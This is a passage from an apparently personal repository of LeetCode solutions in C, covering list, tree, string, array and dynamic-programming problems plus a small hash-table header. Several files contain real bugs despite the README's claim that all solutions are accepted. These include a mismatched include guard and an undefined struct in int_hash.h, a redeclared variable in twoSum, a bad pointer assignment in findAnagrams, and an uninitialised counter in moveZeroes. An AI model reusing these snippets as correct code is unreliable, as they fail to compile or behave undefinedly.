*r1, *r2; char *n1 = NULL, *n2 = NULL, *p1 = version1, *p2 = version2; c1 = c2 = 1; while (n1 = strchr(p1, '.')) {c1++; p1 = n1 + 1;} while (n2 = strchr(p2, '.')) {c2++; p2 = n2 + 1;} max = c1 > c2 ? c1 : c2; r1 = calloc(max, sizeof(int)); r2 = calloc(max, sizeof(int)); c1 = c2 = 0; p1 = version1; p2 = version2; for (n1 = strsep(&p1, "."); n1; n1 = strsep(&p1, ".")) { r1[c1++] = atoi(n1); } for (n2 = strsep(&p2, "."); n2; n2 = strsep(&p2, ".")) { r2[c2++] = atoi(n2); } for (i = 0; i < c1 || i < c2; i++) { if (r1[i] > r2[i]) { ret = 1; break; } else if (r1[i] < r2[i]) { ret = -1; break; } } free(r1); free(r2); return ret; } <file_sep>/src/023_MergeKSortedLists.c /* * Merge k sorted linked lists and return it as one sorted list. Analyze and * describe its complexity. */ /* * Definition for singly-linked list. * struct ListNode { * int val; * struct ListNode *next; * }; */ struct ListNode *merge2lists(struct ListNode *l1, struct ListNode *l2) { struct ListNode dummy = {0}; struct ListNode *p = &dummy; while (l1 != NULL && l2 != NULL) { if (l1->val < l2->val) { p->next = l1; l1 = l1->next; } else { p->next = l2; l2 = l2->next; } p = p->next; } if (l1 != NULL) p->next = l1; if (l2 != NULL) p->next = l2; return dummy.next; } struct ListNode* mergeKLists(struct ListNode **lists, int listsSize) { int begin, end; if (lists == NULL || listsSize == 0) return NULL; end = listsSize - 1; while (end > 0) { begin = 0; while (begin < end) { lists[begin] = merge2lists(lists[begin], lists[end]); begin++; end--; } } return lists[0]; } <file_sep>/src/198_HouseRobber.c /* * You are a professional robber planning to rob houses along a street. * Each house has a certain amount of money stashed, the only constraint * stopping you from robbing each of them is that adjacent houses have * security system connected and it will automatically contact the police * if two adjacent houses were broken into on the same night. * * Given a list of non-negative integers representing the amount of money * of each house, determine the maximum amount of money you can rob tonight * without alerting the police. */ #define max(a,b) (a) > (b) ? (a) : (b) int rob(int *nums, int numsSize) { int i, a = 0, b = 0; for (i = 0; i < numsSize; i++) { if (i % 2 == 0) a = max(a + nums[i], b); else b = max(a, b + nums[i]); } return max(a,b); } <file_sep>/src/003_LongestSubstringWithoutRepeatingCharacters.c /* * Given a string, find the length of the longest substring without repeating characters. * * Examples: * Given "abcabcbb", the answer is "abc", which the length is 3. * Given "bbbbb", the answer is "b", with the length of 1. * Given "pwwkew", the answer is "wke", with the length of 3. * Note that the answer must be a substring, "pwke" is a subsequence and not a substring. */ int lengthOfLongestSubstring(char *s) { char *l, *r; int max = 0; char *map[256] = {0}; for (l=r=s; *r; r++) { if (map[*r] != NULL) { l = l>map[*r]?l:map[*r]+1; } max = max>(r-l+1)?max:(r-l+1); map[*r] = r; } return max; } <file_sep>/src/647_PalindromicSubstrings.c /* * Given a string, your task is to count how many palindromic substrings * in this string. * * The substrings with different start indexes or end indexes are counted * as different substrings even they consist of same characters. * * Example 1: * Input: "abc" * Output: 3 * Explanation: Three palindromic strings: "a", "b", "c". * * Example 2: * Input: "aaa" * Output: 6 * Explanation: Six palindromic strings: "a", "a", "a", "aa", "aa", "aaa". * * Note: * The input string length won't exceed 1000. */ int countSubstrings(char *s) { int i, cnt = 0; for (i = 0; s[i]; i++) { cnt += countPalindromic(s, i, i); cnt += countPalindromic(s, i, i+1); } return cnt; } int countPalindromic(char *s, int lf, int rt) { int cnt = 0; while ((lf>=0) && s[rt] && s[lf--] == s[rt++]) { cnt++; } return cnt; } <file_sep>/src/208_ImplementTrie.c /* * Implement a trie with insert, search, and startsWith methods. * * Note: * You may assume that all inputs are consist of lowercase letters a-z. */ struct TrieNode { bool w; struct TrieNode *childs[26]; }; /** Initialize your data structure here. */ struct TrieNode* trieCreate() { struct TrieNode *t; t = malloc(sizeof(struct TrieNode)); if (!t) return NULL; t->w = false; int i; for (i = 0; i < 26; i++) { t->childs[i] = NULL; } return t; } /** Inserts a word into the trie. */ void insert(struct TrieNode *root, char *word) { int i; struct TrieNode *p = root; for (i = 0; i < strlen(word); i++) { if (p->childs[word[i]-'a'] == NULL) { p->childs[word[i]-'a'] = trieCreate(); } p = p->childs[word[i]-'a']; } p->w = true; } /** Returns if the word is in the trie. */ bool search(struct TrieNode *root, char *word) { int i; struct TrieNode *p = root; for (i = 0; i < strlen(word); i++) { if (p->childs[word[i]-'a'] == NULL) return false; p = p->childs[word[i]-'a']; } return p->w; } /** Returns if there is any word in the trie that starts with the given prefix. */ bool startsWith(struct TrieNode* root, char* prefix) { int i; struct TrieNode *p = root; for (i = 0; i < strlen(prefix); i++) { if (p->childs[prefix[i]-'a'] == NULL) return false; p = p->childs[prefix[i]-'a']; } return true; } /** Deallocates memory previously allocated for the TrieNode. */ void trieFree(struct TrieNode* root) { int i; for (i = 0; i < 26; i++) { if (root->childs[i] != NULL) { trieFree(root->childs[i]); free(root->childs[i]); } } } // Your Trie object will be instantiated and called as such: // struct TrieNode* node = trieCreate(); // insert(node, "somestring"); // search(node, "key"); // trieFree(node); <file_sep>/src/083_RemoveDuplicatesFromSortedList.c /* * Given a sorted linked list, delete all duplicates such that each element appear only once. * * For example, * Given 1->1->2, return 1->2. * Given 1->1->2->3->3, return 1->2->3. */ struct ListNode* deleteDuplicates(struct ListNode *head) { if (!head) return NULL; struct ListNode *p = head, *n = head->next; while (n) { if (p->val == n->val) { p->next = n->next; n = n->next; } else { p = n; n = n->next; } } return head; } <file_sep>/README.md # leetcode in C Leetcode solutions in C programming language ## Introduction: My submissions of leetcode.com online judge system, all solutions accepted. * include: simple implementations of some common data structure, like hash table, list, heap, etc... they are intentionally kept stupid to allow me write it in interview timeframe. * src: all the code with the question description. <file_sep>/src/153_FindMinimumInRotatedSortedArray.c /* * Suppose an array sorted in ascending order is rotated at some pivot unknown to you beforehand. * * (i.e., 0 1 2 4 5 6 7 might become 4 5 6 7 0 1 2). * * Find the minimum element. * * You may assume no duplicate exists in the array. */ int findMin(int *nums, int numsSize) { int i, min; min = nums[0]; for (i = 1; i < numsSize; i++) { if (min > nums[i]) return nums[i]; } return min; } <file_sep>/src/268_MissingNumber.c /* * Given an array containing n distinct numbers taken from 0, 1, 2, ..., n, * find the one that is missing from the array. * * Example 1: * Input: [3,0,1] * Output: 2 * * Example 2: * Input: [9,6,4,2,3,5,7,0,1] * Output: 8 * * Note: * Your algorithm should run in linear runtime complexity. Could you * implement it using only constant extra space complexity? */ int missingNumber(int *nums, int numsSize) { int i, tmp, max, missing = -1; for (i = 0; i < numsSize; i++) { while (nums[i] != i) { tmp = nums[i]; if (nums[i] >= numsSize) { max = nums[i]; missing = i; break; } else if (missing == nums[i]) { nums[missing] = missing; missing = i; break; } else { nums[i] = nums[tmp]; nums[tmp] = tmp; } } } if (missing == -1) return numsSize; return missing; } <file_sep>/include/int_hash.h #ifndef __INT_HASH_H_ #define __INT_HAHS_H_ #define ROOM 1024 struct kv { int key; int value; }; struct bucket { int len; int cap; struct int_kv *items; }; struct bucket map[ROOM]; void hinit() { memset(map, 0, sizeof(struct bucket) * ROOM); } int hash(int key) { return (unsigned int)key % ROOM; } int hget(int key, int *value) { int idx = hash(key); int i; for (i = 0; i < map[idx].len; i++) { if (map[idx].items[i].key == key) { *value = map[idx].items[i].value; return 0; } } return -1; } void hset(int key, int value) { int idx = hash(key); int i; if (map[idx].len == 0) { map[idx].cap = 32; map[idx].items = malloc(32 * sizeof(struct kv)); } else { for (i = 0; i < map[idx].len; i++) { if (map[idx].items[i].key == key) { map[idx].items[i].value = value; return; } } if (map[idx].len + 1 > map[idx].cap) { map[idx].cap += 32; map[idx].items = realloc(map[idx].items, (map[idx].cap + 32) * sizeof(struct kv)); } } map[idx].items[map[idx].len].key = key; map[idx].items[map[idx].len++].value = value; } #endif <file_sep>/src/202_HappyNumber.c /* * Write an algorithm to determine if a number is "happy". * * A happy number is a number defined by the following process: Starting * with any positive integer, replace the number by the sum of the squares * of its digits, and repeat the process until the number equals 1 (where * it will stay), or it loops endlessly in a cycle which does not include 1. * Those numbers for which this process ends in 1 are happy numbers. * * Example: 19 is a happy number * * 1^2 + 9^2 = 82 * 8^2 + 2^2 = 68 * 6^2 + 8^2 = 100 * 1^2 + 0^2 + 0^2 = 1 */ bool isHappy(int n) { int cal(int n) { int x = 0, y = n; while (y) { x += (y % 10) * (y % 10); y = y/10; } return x; } int slow = cal(n); int fast = cal(slow); while (fast != slow) { slow = cal(slow); fast = cal(fast); fast = cal(fast); } return slow==1; } <file_sep>/src/070_ClimbingStairs.c /* * You are climbing a stair case. It takes n steps to reach to the top. * * Each time you can either climb 1 or 2 steps. In how many distinct * ways can you climb to the top? * * Note: Given n will be a positive integer. * * Example 1: * Input: 2 * Output: 2 * Explanation: There are two ways to climb to the top. * * 1. 1 step + 1 step * 2. 2 steps * Example 2: * * Input: 3 * Output: 3 * Explanation: There are three ways to climb to the top. * * 1. 1 step + 1 step + 1 step * 2. 1 step + 2 steps * 3. 2 steps + 1 step */ int climbStairs(int n) { int n1 = 2, n2 = 1, all = 0; if (n < 3) return n; for (int i = 3; i<=n; i++) { all = n1 + n2; n2 = n1; n1 = all; } return all; } <file_sep>/src/141_LinkedListCycle.c /* * Given a linked list, determine if it has a cycle in it. * * Follow up: * Can you solve it without using extra space? */ bool hasCycle(struct ListNode *head) { struct ListNode *p1, *p2; p1 = p2 = head; while (p1 && p2) { p1 = p1->next; p2 = p2->next; if (!p2) break; p2 = p2->next; if (p2 && (p1 == p2)) return true; } return false; }<file_sep>/src/056_MergeIntervals.c /* * Given a collection of intervals, merge all overlapping intervals. * * For example, * Given [1,3],[2,6],[8,10],[15,18], * return [1,6],[8,10],[15,18]. */ int cmp(void *a, void *b) { return ((struct Interval *)a)->start - ((struct Interval *)b)->start; } /* * Return an array of size *returnSize. * Note: The returned array must be malloced, assume caller calls free(). */ struct Interval* merge(struct Interval *intervals, int intervalsSize, int *returnSize) { qsort(intervals, intervalsSize, sizeof(struct Interval), cmp); int i, j, k, min_start, max_end; struct Interval* result = calloc(intervalsSize, sizeof(struct Interval)); k = 0; for (i = 0; i < intervalsSize; ) { min_start = intervals[i].start; max_end = intervals[i].end; for (j = i + 1; j < intervalsSize; j++) { if (max_end >= intervals[j].start) max_end = max_end > intervals[j].end ? max_end : intervals[j].end; else break; } i = j; result[k].start = min_start; result[k].end = max_end; k++; } *returnSize = k; return result; } <file_sep>/src/283_MoveZeroes.c /* * Given an array nums, write a function to move all 0's to the end of it * while maintaining the relative order of the non-zero elements. * * For example, given nums = [0, 1, 0, 3, 12], after calling your function, * nums should be [1, 3, 12, 0, 0]. * * Note: * You must do this in-place without making a copy of the array. * Minimize the total number of operations. */ void moveZeroes(int *nums, int numsSize) { int n, i; for (i = 0; i < numsSize; i++) { if (nums[i] && n++ != i) { nums[n-1] = nums[i]; nums[i] = 0; } } } <file_sep>/src/171_ExcelSheetColumnNumber.c /* Related to question Excel Sheet Column Title Given a column title as appear in an Excel sheet, return its corresponding column number. For example: A -> 1 B -> 2 C -> 3 ... Z -> 26 AA -> 27 AB -> 28 */ int titleToNumber(char *s) { int sum = 0; while (*s != '\0') { sum = sum * 26 + *s - 'A' + 1; s++; } return sum; } <file_sep>/src/053_MaximumSubarray.c /* * Find the contiguous subarray within an array (containing at least one * number) which has the largest sum. * * For example, given the array [-2,1,-3,4,-1,2,1,-5,4], * the contiguous subarray [4,-1,2,1] has the largest sum = 6. */ int maxSubArray(int *nums, int numsSize) { int max, tmp_max, i; if (!nums) return -1-0x7fffffff; max = nums[0]; tmp_max = nums[0]; for (i = 1; i < numsSize; i++) { tmp_max = (tmp_max + nums[i]) > nums[i] ? (tmp_max + nums[i]) : nums[i]; max = max > tmp_max ? max : tmp_max; } return max; } <file_sep>/src/169_MajorityElement.c /* * Given an array of size n, find the majority element. The majority element is the element that appears more than ⌊ n/2 ⌋ times. * * You may assume that the array is non-empty and the majority element always exist in the array. */ int majorityElement(int* nums, int numsSize) { int m, n, i; m = nums[0]; n = 0; for (i = 0; i < numsSize; i++){ if (n == 0) m = nums[i]; if (m == nums[i]) n++; else n--; } return m; } <file_sep>/src/206_ReverseLinkedList.c /* * Reverse a singly linked list. */ struct ListNode { int val; struct ListNode *next; }; struct ListNode* reverseList(struct ListNode *head) { struct ListNode *p, *x, *y; if (!head) return NULL; x = head; p = NULL; y = head->next; while (y) { x->next = p; p = x; x = y; y = y->next; } x->next = p; return x; } <file_sep>/src/024_SwapNodesInPairs.c /* * Given a linked list, swap every two adjacent nodes and return its head. * * For example, * Given 1->2->3->4, you should return the list as 2->1->4->3. * Your algorithm should use only constant space. You may not modify the * values in the list, only nodes itself can be changed. */ /* * Definition for singly-linked list. * struct ListNode { * int val; * struct ListNode *next; * }; */ struct ListNode* swapPairs(struct ListNode *head) { struct ListNode *new_head = NULL; struct ListNode *p1 = head, *p2 = NULL, *temp = NULL; struct ListNode *last = NULL; if (!head) return NULL; if (!head->next) return head; new_head = head->next; for (; p1 && (p2 = p1->next); p1 = p1->next) { if (last) last->next = p2; temp = p2->next; p2->next = p1; p1->next = temp; last = p1; } return new_head; } <file_sep>/src/050_Pow.c /* * Implement pow(x, n). * * * Example 1: * * Input: 2.00000, 10 * Output: 1024.00000 * Example 2: * * Input: 2.10000, 3 * Output: 9.26100 */ double myPow(double x, int n) { if (n == 0) return 1; double d = myPow(x, n / 2); if (n % 2) return (n % 2 < 0) ? (1 / x * d * d) : (x * d * d); return d * d; } <file_sep>/src/028_ImplementStrStr.c /* * Implement strStr(). * Return the index of the first occurrence of needle in haystack, or -1 if * needle is not part of haystack. * * Example 1: * Input: haystack = "hello", needle = "ll" * Output: 2 * * Example 2: * Input: haystack = "aaaaa", needle = "bba" * Output: -1 */ int strStr(char *haystack, char *needle) { int i, j; int len_haystack = strlen(haystack); int len_needle = strlen(needle); if (len_needle == 0) return 0; for (i = 0; i <= len_haystack - len_needle; i++) { for (j = 0; j < len_needle; j++) { if (haystack[i + j] != needle[j]) break; } if (j == len_needle) return i; } return -1; } <file_sep>/src/242_ValidAnagram.c /* * Given two strings s and t, write a function to determine if t is an * anagram of s. * * For example, * s = "anagram", t = "nagaram", return true. * s = "rat", t = "car", return false. * * Note: * You may assume the string contains only lowercase alphabets. * * Follow up: * What if the inputs contain unicode characters? How would you adapt your * solution to such case? */ bool isAnagram(char* s, char* t) { if (!s && !t) return true; if (!s || !t) return false; if (strlen(s) != strlen(t)) return false; int res[26] = {0}; int i; for (i=0; i<strlen(s); i++) {res[s[i]-'a']++;} for (i=0; i<strlen(t); i++) {res[t[i]-'a']--;} for (i=0; i<26; i++) { if (res[i]!=0) return false; } return true; } <file_sep>/src/160_IntersectionOfTwoLinkedLists.c /* Write a program to find the node at which the intersection of two singly linked lists begins. For example, the following two linked lists: A: a1 → a2 ↘ c1 → c2 → c3 ↗ B: b1 → b2 → b3 begin to intersect at node c1. Notes: If the two linked lists have no intersection at all, return null. The linked lists must retain their original structure after the function returns. You may assume there are no cycles anywhere in the entire linked structure. Your code should preferably run in O(n) time and use only O(1) memory. */ struct ListNode *getIntersectionNode(struct ListNode *headA, struct ListNode *headB) { int na = 0, nb = 0, i; struct ListNode *ta, *tb; for (na = 0, ta = headA; ta; ta = ta->next) na++; for (nb = 0, tb = headB; tb; tb = tb->next) nb++; ta = headA; tb = headB; if (na > nb) { for (i = 0; i < na - nb; i++) ta = ta->next; } else { for (i = 0; i < nb - na; i++) tb = tb->next; } while (ta && tb) { if (ta == tb) return ta; ta = ta->next; tb = tb->next; } return NULL; } <file_sep>/src/002_AddTwoNumbers.c /* * You are given two non-empty linked lists representing two non-negative * integers. The digits are stored in reverse order and each of their nodes * contain a single digit. Add the two numbers and return it as a linked list. * * You may assume the two numbers do not contain any leading zero, except * the number 0 itself. * * Example * Input: (2 -> 4 -> 3) + (5 -> 6 -> 4) * Output: 7 -> 0 -> 8 * Explanation: 342 + 465 = 807. */ /* * Definition for singly-linked list. * struct ListNode { * int val; * struct ListNode *next; * }; */ struct ListNode* addTwoNumbers(struct ListNode *l1, struct ListNode *l2) { struct ListNode head; struct ListNode *n = &head; int extra = 0; while (l1 || l2 || extra) { struct ListNode *node = calloc(1, sizeof(struct ListNode)); node->val = ((l1?l1->val:0) + (l2?l2->val:0) + extra) % 10; extra = ((l1?l1->val:0) + (l2?l2->val:0) + extra) / 10; l1 = l1?l1->next:NULL; l2 = l2?l2->next:NULL; n->next = node; n = n->next; } return head.next; } <file_sep>/src/617_MergeTwoBinaryTrees.c /* Given two binary trees and imagine that when you put one of them to cover the other, some nodes of the two trees are overlapped while the others are not. You need to merge them into a new binary tree. The merge rule is that if two nodes overlap, then sum node values up as the new value of the merged node. Otherwise, the NOT null node will be used as the node of new tree. Example 1: Input: Tree 1 Tree 2 1 2 / \ / \ 3 2 1 3 / \ \ 5 4 7 Output: Merged tree: 3 / \ 4 5 / \ \ 5 4 7 Note: The merging process must start from the root nodes of both trees. */ struct TreeNode* mergeTrees(struct TreeNode *t1, struct TreeNode *t2) { struct TreeNode *root; if (!t1 && !t2) return NULL; root = malloc(sizeof(struct TreeNode)); root->val = (t1?t1->val:0) + (t2?t2->val:0); root->left = mergeTrees(t1?t1->left:NULL, t2?t2->left:NULL); root->right = mergeTrees(t1?t1->right:NULL, t2?t2->right:NULL); return root; } <file_sep>/src/118_PascalsTriangle.c /* Given numRows, generate the first numRows of Pascal's triangle. For example, given numRows = 5, Return [ [1], [1,1], [1,2,1], [1,3,3,1], [1,4,6,4,1] ] */ int** generate(int numRows, int **columnSizes) { int i, j; int **rr = calloc(numRows, sizeof(int*)); int *s = calloc(numRows, sizeof(int)); for (i = 0; i < numRows; i++) { s[i] = i + 1; rr[i] = calloc(i + 1, sizeof(int)); for (j = 0; j <= i; j++) { if (j == 0 || j == i) rr[i][j] = 1; else rr[i][j] = rr[i-1][j-1] + rr[i-1][j]; } } *columnSizes = s; return rr; } <file_sep>/src/013_RomanToInteger.c /* * Given a roman numeral, convert it to an integer. * Input is guaranteed to be within the range from 1 to 3999. */ int romanToInt(char* s) { if (!s) return 0; int i, len, sum = 0; int m[26] = {[2]=100,[3]=500,[8]=1,[11]=50,[12]=1000,[21]=5,[23]=10}; len = strlen(s); sum = m[s[len - 1] - 'A']; for (i = len - 2; i >= 0; i--) { sum += (m[s[i] - 'A'] >= m[s[i + 1] - 'A']) ? m[s[i] - 'A'] : -m[s[i] - 'A']; } return sum; } <file_sep>/src/217_ContainsDuplicate.c /* * Given an array of integers, find if the array contains any duplicates. * Your function should return true if any value appears at least twice in * the array, and it should return false if every element is distinct. */ bool containsDuplicate(int *nums, int numsSize) { int i,j; for (i = 0; i < numsSize - 1; i++) { for (j = i+1; j<numsSize; j++) { if (nums[i] == nums[j]) return true; } } return false; } <file_sep>/src/258_AddDigits.c /* * Given a non-negative integer num, repeatedly add all its digits until * the result has only one digit. * * For example: * Given num = 38, the process is like: 3 + 8 = 11, 1 + 1 = 2. Since 2 has only one digit, return it. * * Follow up: * Could you do it without any loop/recursion in O(1) runtime? */ int addDigits(int num) { if (num == 0) return 0; return (num % 9) ? (num % 9) : 9; } <file_sep>/src/322_CoinChange.c /* * You are given coins of different denominations and a total amount of * money amount. Write a function to compute the fewest number of coins * that you need to make up that amount. If that amount of money cannot * be made up by any combination of the coins, return -1. * * Example 1: * coins = [1, 2, 5], amount = 11 * return 3 (11 = 5 + 5 + 1) * * Example 2: * coins = [2], amount = 3 * return -1. * * Note: * You may assume that you have an infinite number of each kind of coin. */ #define MIN(a,b) (a) < (b) ? (a) : (b) int coinChange(int *coins, int coinsSize, int amount) { int i, j; int *minCoins = malloc((amount + 1) * sizeof(int)); minCoins[0] = 0; for (i = 1; i <= amount; i++) { minCoins[i] = 0x7fffffff; for (j = 0; j < coinsSize; j++) { if ((coins[j] <= i) && (minCoins[i - coins[j]] != 0x7fffffff)) { minCoins[i] = MIN(minCoins[i - coins[j]] + 1, minCoins[i]); } } } return minCoins[amount] == 0x7fffffff ? -1 : minCoins[amount]; } <file_sep>/src/110_BalancedBinaryTree.c /* * Given a binary tree, determine if it is height-balanced. * * For this problem, a height-balanced binary tree is defined as a binary tree in which the depth of the two subtrees of every node never differ by more than 1. */ #define MAX(x, y) (((x) > (y)) ? (x) : (y)) int maxDepth(struct TreeNode *node) { if (!node) return 0; return (MAX(maxDepth(node->left), maxDepth(node->right)) + 1); } bool isBalanced(struct TreeNode *root) { if (!root) return true; return isBalanced(root->left) && isBalanced(root->right) && (abs(maxDepth(root->left) - maxDepth(root->right)) <= 1); } <file_sep>/src/111_MinimumDepthOfBinaryTree.c /* * Given a binary tree, find its minimum depth. * * The minimum depth is the number of nodes along the shortest path from * the root node down to the nearest leaf node. */ int minDepth(struct TreeNode *root) { int a, b; if (!root) return 0; if (!root->left && !root->right) return 1; a = minDepth(root->left); b = minDepth(root->right); if (a == 0) return 1+b; else if (b == 0) return 1+a; else return 1 + (a > b ? b : a); } <file_sep>/src/005_LongestPalindromicSubstring.c /* * Given a string s, find the longest palindromic substring in s. * You may assume that the maximum length of s is 1000. * * Example: * Input: "babad" * Output: "bab" * Note: "aba" is also a valid answer. * * Example: * Input: "cbbd" * Output: "bb" */ inline bool isPalindrome(char *s, int begin, int end) { if (begin < 0) return false; while (begin<end) { if (s[begin++] != s[end--]) return false; } return true; } char *longestPalindrome(char *s) { int i, longest = 0, len = strlen(s); char *res; for (i = 0; i < len; i++) { if (isPalindrome(s, i - longest - 1, i)) { res = s + (i - longest - 1); longest += 2; } else if (isPalindrome(s, i - longest, i)) { res = s + (i - longest); longest += 1; } } if (res && longest > 0) res[longest] = 0; return res; } <file_sep>/src/027_RemoveElement.c /* * Given an array and a value, remove all instances of that value in-place * and return the new length. * * Do not allocate extra space for another array, you must do this by * modifying the input array in-place with O(1) extra memory. * * The order of elements can be changed. It doesn't matter what you leave * beyond the new length. * * Example: * Given nums = [3,2,2,3], val = 3, * Your function should return length = 2, with the first two elements of nums being 2. */ int removeElement(int *nums, int numsSize, int val) { int i, y; y = numsSize - 1; for (i = 0; i <= y; i++) { while (nums[y] == val) y--; if (i >= y) return y + 1; if (nums[i] == val) { nums[i] = nums[y--]; } } return y + 1; } <file_sep>/src/121_BestTimeToBuyAndSellStock.c /* * Say you have an array for which the ith element is the price of a given * stock on day i. * * If you were only permitted to complete at most one transaction (ie, buy * one and sell one share of the stock), design an algorithm to find the * maximum profit. * * Example 1: * Input: [7, 1, 5, 3, 6, 4] * Output: 5 * max. difference = 6-1 = 5 (not 7-1 = 6, as selling price needs to be * larger than buying price) * * Example 2: * Input: [7, 6, 4, 3, 1] * Output: 0 * In this case, no transaction is done, i.e. max profit = 0. */ int maxProfit(int *prices, int pricesSize) { int i, min = prices[0], maxpf = 0; for (i = 0; i < pricesSize; i++) { min = min < prices[i] ? min : prices[i]; maxpf = maxpf < (prices[i] - min) ? (prices[i] - min) : maxpf; } return maxpf; } <file_sep>/src/205_IsomorphicStrings.c /* * Given two strings s and t, determine if they are isomorphic. * * Two strings are isomorphic if the characters in s can be replaced to get t. * * All occurrences of a character must be replaced with another character * while preserving the order of characters. No two characters may map to * the same character but a character may map to itself. * * For example, * Given "egg", "add", return true. * Given "foo", "bar", return false. * Given "paper", "title", return true. * * Note: * You may assume both s and t have the same length. */ bool isIsomorphic(char *s, char *t) { char dict[127] = {0}; char dict_t[127] = {0}; while (*s && *t) { if (dict[*s]==0 && dict_t[*t]==0) { dict[*s] = *t; dict_t[*t] = *s; } else if (dict[*s] != *t) { return false; } s++; t++; } return true; } <file_sep>/src/357_CountNumbersWithUniqueDigits.c /* * Given a non-negative integer n, count all numbers with unique digits, x, where 0 ≤ x < 10^n. * * Example: * Given n = 2, return 91. (The answer should be the total numbers in the range of 0 ≤ x < 100, excluding [11,22,33,44,55,66,77,88,99]) * */ int countNumbersWithUniqueDigits(int n) { int i, total = 10, last = 9, availnums = 9; if (n == 0) return 1; if (n == 1) return 10; for (i = 2; i <= n && i <= 10; i++) { last *= availnums; total += last; availnums--; } return total; } <file_sep>/src/326_PowerOfThree.c /* * Given an integer, write a function to determine if it is a power of three. * * Follow up: * Could you do it without using any loop / recursion? */ bool isPowerOfThree(int n) { if (n == 3 || n == 1) return true; else if (n <= 2) return false; else if (n % 3) return false; else return isPowerOfThree(n/3); } <file_sep>/src/034_SearchForARange.c /* * Given an array of integers sorted in ascending order, find the starting * and ending position of a given target value. * * Your algorithm's runtime complexity must be in the order of O(log n). * * If the target is not found in the array, return [-1, -1]. * * For example, * Given [5, 7, 7, 8, 8, 10] and target value 8, * return [3, 4]. */ /* * Return an array of size *returnSize. * Note: The returned array must be malloced, assume caller calls free(). */ int* searchRange(int *nums, int numsSize, int target, int *returnSize) { int *ret = calloc(2, sizeof(int)); ret[0] = -1, ret[1] = -1; *returnSize = 2; int l, r, m; // left l = 0, r = numsSize - 1; while (l < r) { m = (l + r) / 2; if (nums[m] < target) { l = m + 1; } else { r = m; } } if (nums[l] == target) ret[0] = l; else return ret; // right r = numsSize - 1; while (l < r) { m = (l + r) / 2 + 1; if (nums[m] > target) { r = m - 1; } else { l = m; } } ret[1] = r; return ret; } <file_sep>/src/001_TwoSum.c /* * Given an array of integers, return indices of the two numbers such that * they add up to a specific target. * You may assume that each input would have exactly one solution, and you * may not use the same element twice. * * Example: * Given nums = [2, 7, 11, 15], target = 9, * * Because nums[0] + nums[1] = 2 + 7 = 9, * return [0, 1]. */ #include "int_hash.h" int* twoSum(int *nums, int numsSize, int target) { int i, value, *res; int *res = calloc(2, sizeof(int)); hinit(); for (i = 0; i < numsSize; i++) { if (hget(nums[i], &value) == 0) { res[0] = value; res[1] = i; return res; } else { hset(target-nums[i], i); } } return res; } <file_sep>/src/438_FindAllAnagramsInAString.c /* Given a string s and a non-empty string p, find all the start indices of p's anagrams in s. Strings consists of lowercase English letters only and the length of both strings s and p will not be larger than 20,100. The order of output does not matter. Example 1: Input: s: "cbaebabacd" p: "abc" Output: [0, 6] Explanation: The substring with start index = 0 is "cba", which is an anagram of "abc". The substring with start index = 6 is "bac", which is an anagram of "abc". Example 2: Input: s: "abab" p: "ab" Output: [0, 1, 2] Explanation: The substring with start index = 0 is "ab", which is an anagram of "ab". The substring with start index = 1 is "ba", which is an anagram of "ab". The substring with start index = 2 is "ab", which is an anagram of "ab". */ int isAnagrams(char *s, int *map, int size) { int i; for (i = 0; i < size; i++) { map[s[i]]--; if (map[s[i]] < 0) return 0; } return 1; } /** * Return an array of size *returnSize. * Note: The returned array must be malloced, assume caller calls free(). */ int* findAnagrams(char *s, char *p, int *returnSize) { int i, j = 0, len_diff, *ret; int map[128] = {0}, tmp[128] = {0}; size_t s_len, p_len; s_len = strlen(s); p_len = strlen(p); len_diff = s_len - p_len; *ret = calloc(s_len + 1, sizeof(int)); for (i = 0; i < p_len; i++) { map[p[i]]++; } for (i = 0; i <= len_diff; i++) { memcpy(tmp, map, 128*sizeof(int)); if (isAnagrams(&s[i], &tmp, p_len)) { ret[j++] = i; } } *returnSize = j; return ret; } <file_sep>/src/172_FactorialTrailingZeroes.c /* * Given an integer n, return the number of trailing zeroes in n!. * * Note: Your solution should be in logarithmic time complexity. */ int trailingZeroes(int n) { if (n == 0) return 0; return (n / 5) + trailingZeroes(n / 5); } <file_sep>/src/100_SameTree.c /* * Given two binary trees, write a function to check if they are the same * or not. * * Two binary trees are considered the same if they are structurally * identical and the nodes have the same value. */ bool isSameTree(struct TreeNode *p, struct TreeNode *q) { if (!p && !q) return true; if (!p || !q) return false; if (p->val != q->val) return false; if (isSameTree(p->left, q->left) && isSameTree(p->right, q->right)) return true; else return false; } <file_sep>/src/076_MinimumWindowSubstring.c /* * Given a string S and a string T, find the minimum window in S which * will contain all the characters in T in complexity O(n). * * For example, * S = "ADOBECODEBANC" * T = "ABC" * Minimum window is "BANC". * * Note: * If there is no such window in S that covers all characters in T, return * the empty string "". * * If there are multiple such windows, you are guaranteed that there will * always be only one unique minimum window in S. */ #define MIN(a,b) a < b ? a : b char* minWindow(char *s, char *t) { int map[128]; int i, j, min = 0x7fffffff, tmp_min = 0x7fffffff, total; char *begin, *end, *head; for (i = 0; i < 128; i++) { map[i] = 0; } total = strlen(t); for (i = 0; i < total; i++) { map[t[i]]++; } begin = end = s; while(*end) { if (map[*end++]-- > 0) total--; while (total == 0) { if ((tmp_min = end - begin) < min) { head = begin; min = tmp_min; }; if (map[*begin++]++ == 0) total++; } } if (min != 0x7fffffff) return strndup(head, min); return ""; } <file_sep>/src/021_MergeTwoSortedLists.c /* * Merge two sorted linked lists and return it as a new list. The new list * should be made by splicing together the nodes of the first two lists. * * Example: * Input: 1->2->4, 1->3->4 * Output: 1->1->2->3->4->4 */ /* * Definition for singly-linked list. * struct ListNode { * int val; * struct ListNode *next; * }; */ struct ListNode *getNextNode(struct ListNode **a, struct ListNode **b) { struct ListNode *ret; if ((*a)->val <= (*b)->val) { ret = *a; *a = ret->next; } else { ret = *b; *b = ret->next; } return ret; } struct ListNode* mergeTwoLists(struct ListNode *l1, struct ListNode *l2) { struct ListNode *head; struct ListNode *curr; if (!l1 && !l2) return NULL; else if (!l1) return l2; else if (!l2) return l1; head = getNextNode(&l1, &l2); curr = head; while (l1 && l2) { curr->next = getNextNode(&l1, &l2); curr = curr->next; } if (l1) {curr->next = l1;} if (l2) {curr->next = l2;} return head; } <file_sep>/src/086_PartitionList.c /* * Given a linked list and a value x, partition it such that all nodes * less than x come before nodes greater than or equal to x. * * You should preserve the original relative order of the nodes in each * of the two partitions. * * For example, * Given 1->4->3->2->5->2 and x = 3, * return 1->2->2->4->3->5. */ struct ListNode* partition(struct ListNode *head, int x) { struct ListNode d1, d2; struct ListNode *p1, *p2; p1 = &d1; p2 = &d2; while (head) { if (head->val < x) { p1->next = head; p1 = p1->next; } else { p2->next = head; p2 